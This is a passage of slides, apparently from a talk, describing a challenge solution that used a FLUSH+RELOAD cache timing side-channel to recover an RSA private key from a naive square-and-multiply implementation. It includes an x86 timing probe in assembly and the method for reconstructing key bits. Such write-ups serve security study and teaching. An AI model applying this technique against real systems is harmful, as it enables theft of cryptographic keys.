  • 32. Now what ? client.py SecDrop STPM Client side Server side We're here
  • 33. Now what ? ● Try to call the list_keys() function in STPM ● Returns: – AES key: k = SECRET :) – RSA key: q = PRIVATE :) ● Function only allows printing public part of the RSA key :( 21:17 <Baboon> :D 21:17 <Baboon> tu croyais quoi 21:18 <Baboon> tu vas en chier :P
  • 34. Now hints ! ● Spent some days trying to find a “classical” vulnerability in STPM… ● Hints published by Synacktiv
  • 35. Hints decoding ● “RDTSC”: timing attack ● “Attack the cache”: timing attack on the CPU cache ● Looking for papers … – “FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack” → attack on CPU cache to retrieve a RSA key when a naive implementation is used
  • 36. Attack! ● Determine the execution path taken by the process ● We'll attack the square and multiply accum = 1; i = 0; bpow2 = m while ((d>>i)>0): if((d>>i) & 1): accum = (accum*bpow2) % n # multiply bpow2 = (bpow2*bpow2) % n # square i+=1 return accum This part is taken if the current bit is 1
  • 37. Processor cache ● CPU wants to execute code at address X – Check if data is in cache – If not, load it from memory then cache it ● Is data in cache? – Just measure the time taken to access it! ● From another process?? – Yes! Shared pages FTW
  • 38. Shared pages SecDrop STPM Physical memory libsec.so - Both processes access the same memory page - If STPM executes address X, the data is put in cache - If SecDrop then accesses address X, it will be retrieved from the cache
  • 39. Attack! (2) ● How to know if code at @X has been executed by STPM ? – Measure time to access @X form SecDrop ● Slow → not in cache → not executed ● Fast → in cache → has been executed ! – Flush the cache! – Sleep ; goto start ; ● Allows to know when a specific part of the code has been executed across time – Reveals bits of the key!
  • 40. Attack! (3) ● Empirically determine two values: – Sleep time between measures – Threshold to determine if data is in cache ● Final exploit: – Ask decryption of key – Do N measures (one measure stored on 1 bit) – Retrieve measures
  • 41. Measurement example probe: mfence lfence rdtsc mov esi, eax mov eax, DWORD [rdi] lfence rdtsc sub eax, esi mov esi, eax xor rax, rax clflush [rdi] cmp esi, 0xc0 jge probend mov rax, 1 probend: retn
  • 42. Retrieve the key from the bits ● Some statistical analysis and black magic – Assume square() and multiply() take the same amount of time – X 1's followed by X 0's → bit 1 – X 0's only not preceded by 1's → bit 0 ● We can see the bits in an hexdump!
  • 43. GET THE KEY §§§ 1 11 00 000
  • 44. Avoid measurement errors ● Repeat the operation 100 times ● Take the best candidate – One key is found 70 times on 100 – Other ones only differ by a few bits… exploit in not perfect :) ● Final key found is 1374 bits – And does not work to decrypt the AES key :(
  • 45. Lack of bits ● We may have failed getting some bits ? – N modulus is 1380 bits ● Bruteforce at most 6 bits of the key ! – Good key found in seconds
  • 46. Final run ● Decrypt AES key contained in “messages” file using the retrieved key ● Decrypt the message using AES key $ python final_p3.py Good job! Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to [email protected]. Also, don't forget to send us your solution within 10 days. Synacktiv team
  • 47. Thanks ! ● For your attention ● To NSC staff for this presentation ● To Synacktiv for their crazy challenge